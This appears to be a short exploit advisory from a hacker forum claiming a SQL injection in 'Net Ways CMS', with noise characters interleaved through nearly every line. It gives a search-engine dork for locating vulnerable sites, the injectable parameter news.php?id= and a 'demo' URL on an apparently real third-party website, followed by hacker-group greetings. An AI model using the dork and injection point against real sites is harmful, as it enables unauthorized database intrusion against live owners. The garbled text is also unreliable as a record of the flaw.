################################################################################??########
) z0 Y8 e" i8 a9 B# ' u9 @4 s1 E" M7 V% L5 J
# Exploit Title : Net Ways Cms Sql Injection Vulnerability ! R$ S- B% p1 H; e% ~2 \
# & C& `# s( ]! }. V G, o2 s
# Author : IrIsT.Ir . ?# @. Q$ K- p0 c- L! r
# 4 t8 b* P; ~8 ?3 D$ x
# Discovered By : Am!r
& @( j) t# `# z: U# 7 \# ^; e. E9 `
# Home : http://IrIsT.Ir/forum / W* u$ j' T1 j7 X+ Q% f
# ) r [4 `' k$ S0 u
# Software Link : http://www.netways.com/ www.political-security.com
9 b. p! m7 V- P3 Y; H2 V#
4 \, Y, Y& p" [- x" b8 Y# Security Risk : High 1 k& G6 C6 I6 X
# & k/ G. q; S5 M4 V4 \
# Version : All Version
; ?, P0 l3 |' }#
! N; i+ G" j* y* Y/ L* A# Tested on : GNU/Linux Ubuntu - Windows Server - win7 0 m) \# V# B- X1 }4 C
#
2 s9 z. P1 [ F; d, d4 d* p! {- D# Dork : intext:"Designed & developed by NetWays" 9 v5 d+ k* |3 U7 v) y9 ?" ]4 ^
# 0 B+ i* _; w& H. _
################################################################################??########
' @* K' {1 x2 r7 u# 1 r6 H, p: p5 n& X2 w; \
# Expl0iTs :
& f3 N' H3 ~- i' b* o' p+ e# - u: }/ b9 G. ]3 L+ ?, F( q
# http://target.com/news.php?id=[Sql] ) ?: |. B* S% z9 f% m
#
8 Y5 w8 c7 G% d# U) [# - i- p s1 w$ _' x, n9 {
# D3mo : 0 j8 V- U& U: \* n* K' ]
#
9 E3 n7 W2 k) X8 u8 W# T# http://compagnieparento.com/news.php?id=7[Sql]
7 D z) R. Q! y8 U( c& d# + C" t8 n- `4 a& V. ^- p. ^: x9 t
################################################################################??########
6 u$ ^9 _, F! j; l# ! o/ s$ d1 Z# i& `3 q: `
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
) o5 G4 K: z4 b! r# w/ P0 H#
) S1 a R/ L U, g" {3 U# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r 0 o" Q( S6 l2 K" ]5 Y
#
# z0 }3 D4 @" [* s' |. l# T# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
" I" y9 a" h9 u#
3 q& S0 x: W. A0 M% Y, m& u, ?" H$ Q5 j################################################################################??######## |